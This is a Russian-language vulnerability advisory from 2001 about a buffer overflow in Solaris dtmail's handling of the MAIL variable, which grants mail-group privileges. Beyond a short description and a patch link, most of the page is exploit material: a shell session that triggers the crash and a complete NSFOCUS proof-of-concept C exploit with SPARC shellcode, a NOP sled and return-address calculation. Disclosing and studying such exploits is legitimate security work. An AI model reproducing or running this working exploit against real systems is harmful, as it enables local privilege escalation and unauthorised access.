Security Lab

переполнение буфера в Solaris DTmail

Дата публикации:27.07.2001
Дата изменения:17.10.2006
Всего просмотров:1663
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

The NSFOCUS Security Team нашла переполнение буфера в dtmail Solaris, при обработке переменной MAIL, что позволяет нападавшему выполнять произвольный код с привилегией почтовой группы.

Уязвимость найдена в:

* Sun Solaris 2.6 (SPARC/x86)

* Sun Solaris 7 (SPARC/x86)

Для устранения скачайте патч:

http://sunsolve.sun.com/securitypatch



Эксплоит:

Exploit:

[test@ /tmp]> uname -a

SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10 [test@ /tmp]> showrev -p|grep 107200-12

Patch: 107200-12 Obsoletes: Requires: 108374-01, 107887-08 Incompatibles:



Packages: SUNWdtdst, SUNWdtma

[test@ /tmp]> ls -l /usr/dt/bin/dtmail

-r-xr-sr-x 1 bin mail 1553244 Jun 12 2001 /usr/dt/bin/dtmail*

[test@ /tmp]> cp /usr/dt/bin/dtmail .

[test@ /tmp]> export DISPLAY=127.0.0.1:0.0

[test@ /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL [test@ /tmp]> ulimit -c 200000 [test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail



[A dtmail dialog box would prompt out in your X window, click "Local"]



[test@ /tmp]> ls -l core

-rw------- 1 test users 1991892 Jun 22 11:47 core

[test@ /tmp]> dbx ./dtmail ./core

..

Reading dtmail

core file header read successfully

Reading ld.so.1

Reading libSDtMail.so.2

Reading libnsl.so.1

Reading libsocket.so.1

...

Reading libXext.so.0

Reading libc_psr.so.1

detected a multithreaded program

t@1 (l@1) terminated by signal BUS (invalid address alignment)

dbx: core file read error: address 0x41414161 not in data space

dbx: attempt to read stack failed - bad frame pointer

0x001013e4: solaris_valid+0x002c: ret

(/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx)



There is a proof of concept code for this issue, available here: <http://www.nsfocus.com/proof/sol_sparc_dtmail_MAIL_ex.c>

http://www.nsfocus.com/proof/sol_sparc_dtmail_MAIL_ex.c



A copy of it is attached below:

/*

* sol_sparc_dtmail_MAIL_ex.c - Proof of Concept Code for dtmail $MAIL

overflow bug.

*

* Copyright (c) 2001 - Nsfocus.com

*

* It will run "/bin/id" if the exploit succeed.

* Tested in Solaris 2.6/7 (SPARC).

*

* DISCLAIMS:

* This is a proof of concept code. This code is for test purpose

* only and should not be run against any host without permission from

* the system administrator.

*

* NSFOCUS Security Team <security@nsfocus.com>

* http://www.nsfocus.com

*/



#include <stdio.h>

#include <stdlib.h>

#include <sys/systeminfo.h>

#include <pwd.h>



struct passwd *pwd;;



#define SP 0xffbefffc /* default bottom stack address (Solaris

7/8) */



#define DISPENV "DISPLAY=127.0.0.1:0.0"



#define VULPROG "/usr/dt/bin/dtmail"

#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */





char shellcode[] =

"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"

"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e"

"\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec"

"\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"

"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";



/* get current stack point address */

long

get_sp(void)

{

__asm__("mov %sp,%i0");

}



long

get_shelladdr(long sp_addr, char **arg, char **env, long off)

{

long retaddr;

int i;

char plat[256];

char pad = 0, pad1 = 0, pad2;

int env_len, arg_len, len;



while (1) {

/* calculate the length of "VULPROG" + argv[] */

for (i = 0, arg_len = 0; arg[i] != NULL; i++) {

arg_len += strlen(arg[i]) + 1;

}



/* calculate the pad nummber . */

pad = 3 - arg_len % 4;



memset(env[0], 'A', pad);

env[0][pad] = '\0';



memset(env[2], 'A', pad1);

env[2][pad1] = '\0';



/* get environ length */

for (i = 0, env_len = 0; env[i] != NULL; i++) {

env_len += strlen(env[i]) + 1;

}



/* get platform info */

sysinfo(SI_PLATFORM, plat, 256);



len = arg_len + env_len + strlen(plat) + 1 +

strlen(VULPROG) + 1;



pad2 = 4 - len % 4;



/* get the exact shellcode address */

retaddr = sp_addr - pad2 /* the trailing zero

number */

- strlen(VULPROG) - 1

- strlen(plat) - 1;



for (i--; i > 0; i--)

retaddr -= strlen(env[i]) + 1;



if (!((retaddr + off) & 0xff)) {

pad1 += 8;

continue;

} else if ((retaddr + off) % 8) {

pad1 += 4;

continue;

} else

break;

}

return retaddr;



} /* End of get_shelladdr */





int

main(int argc, char **argv)

{

char buf[4096], home[128], display[256];

char eggbuf[2048];

long retaddr, sp_addr = SP;

char *arg[24], *env[24], *cwd, *charptr;

char padding[64], padding1[64];

unsigned int *ptr;

char *disp;

char ev1[] = "MAIL=";

long ev1_len, i, align;

long overbuflen = 2048;



if (argc > 1)

snprintf(display, sizeof(display) - 1, "DISPLAY=%s",

argv[1]);

else {

disp = getenv("DISPLAY");

if (disp)

snprintf(display, sizeof(display) - 1,

"DISPLAY=%s", disp);

else

strncpy(display, DISPENV, sizeof(display) - 1);

}



pwd = getpwuid((uid_t) getuid());

snprintf(home, 127, "HOME=%s", strdup(pwd->pw_dir));



arg[0] = VULPROG;

arg[1] = NULL;



cwd = getcwd((char *) NULL, 256);

overbuflen = overbuflen - (strlen(cwd) + strlen("/"));

ev1_len = strlen(ev1);

bzero(buf, sizeof(buf));

memcpy(buf, ev1, ev1_len);

memset(buf + ev1_len, 'A', overbuflen);



bzero(eggbuf, sizeof(eggbuf));

ptr = (unsigned int *) eggbuf;

for (i = 0; i < sizeof(eggbuf) - strlen(shellcode); i += 4)

*(ptr + i / 4) = NOP;

memcpy(eggbuf + i - 4, shellcode, strlen(shellcode));



env[0] = padding; /* put padding buffer in env */

env[1] = eggbuf; /* put shellcode in env */

env[2] = padding1; /* put padding1 buffer in env */

env[3] = buf; /* put overflow environ */

env[4] = display; /* put display environ */

env[5] = home; /* put home environ */

env[6] = NULL; /* end of env */



/* get stack bottom address */

if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris

2.6 */

sp_addr = SP - 0x0fbf0000;

}

retaddr = get_shelladdr(sp_addr, arg, env, -8);



retaddr -= 8;

printf("Using return address = 0x%x (shelladdrr - 8)\n",

retaddr);

printf("Click Local in your X window\n\n");



charptr = (char *) &retaddr;

align = 4 - ((strlen(cwd) + strlen("/")) % 4);

for (i = 0; i < overbuflen - align; i++)

buf[ev1_len + align + i] = *(charptr + i % 4);



execve(VULPROG, arg, env);

perror("execle");

}

/* End of main */